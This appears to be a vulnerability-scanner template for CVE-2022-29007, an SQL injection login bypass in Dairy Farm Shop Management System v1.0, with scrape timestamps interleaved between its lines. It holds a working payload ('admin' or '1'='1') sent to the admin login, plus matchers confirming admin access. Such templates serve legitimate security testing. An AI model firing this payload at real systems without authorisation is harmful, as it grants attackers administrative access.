2022-09-01 13:14:30 +00:00
id : CVE-2022-29007
2022-09-01 17:32:38 +00:00
2022-09-01 13:14:30 +00:00
info :
2022-09-01 17:32:38 +00:00
name : Dairy Farm Shop Management System v1.0 - SQLi Authentication Bypass
2022-09-01 13:14:30 +00:00
author : TenBird
2022-09-01 17:32:38 +00:00
severity : critical
description : |
Multiple SQL injection vulnerabilities via the username and password parameters in the Admin panel of Dairy Farm Shop Management System v1.0 allows attackers to bypass authentication.
2022-09-01 13:14:30 +00:00
reference :
2022-09-01 17:32:38 +00:00
- https://www.exploit-db.com/exploits/50365
- https://phpgurukul.com/dairy-farm-shop-management-system-using-php-and-mysql/
2022-09-01 13:14:30 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-29007
classification :
cve-id : CVE-2022-29007
2022-09-01 17:32:38 +00:00
metadata :
verified : true
tags : cve,cve2022,sqli,auth-bypass
2022-09-01 13:14:30 +00:00
requests :
- raw :
- |
2022-09-01 17:32:38 +00:00
POST /dfsms/index.php HTTP/1.1
2022-09-01 13:14:30 +00:00
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded; charset=UTF-8
username=admin' or '1'='1&password=1&login=login
2022-09-01 17:32:38 +00:00
- |
GET /dfsms/add-category.php HTTP/1.1
Host : {{Hostname}}
2022-09-01 13:14:30 +00:00
cookie-reuse : true
matchers-condition : and
matchers :
- type : word
2022-09-01 17:32:38 +00:00
part : body
2022-09-01 13:14:30 +00:00
words :
2022-09-01 17:32:38 +00:00
- '<title>Add Product</title>'
- '<span>Admin'
- 'DFSMS'
condition : and
- type : status
status :
- 200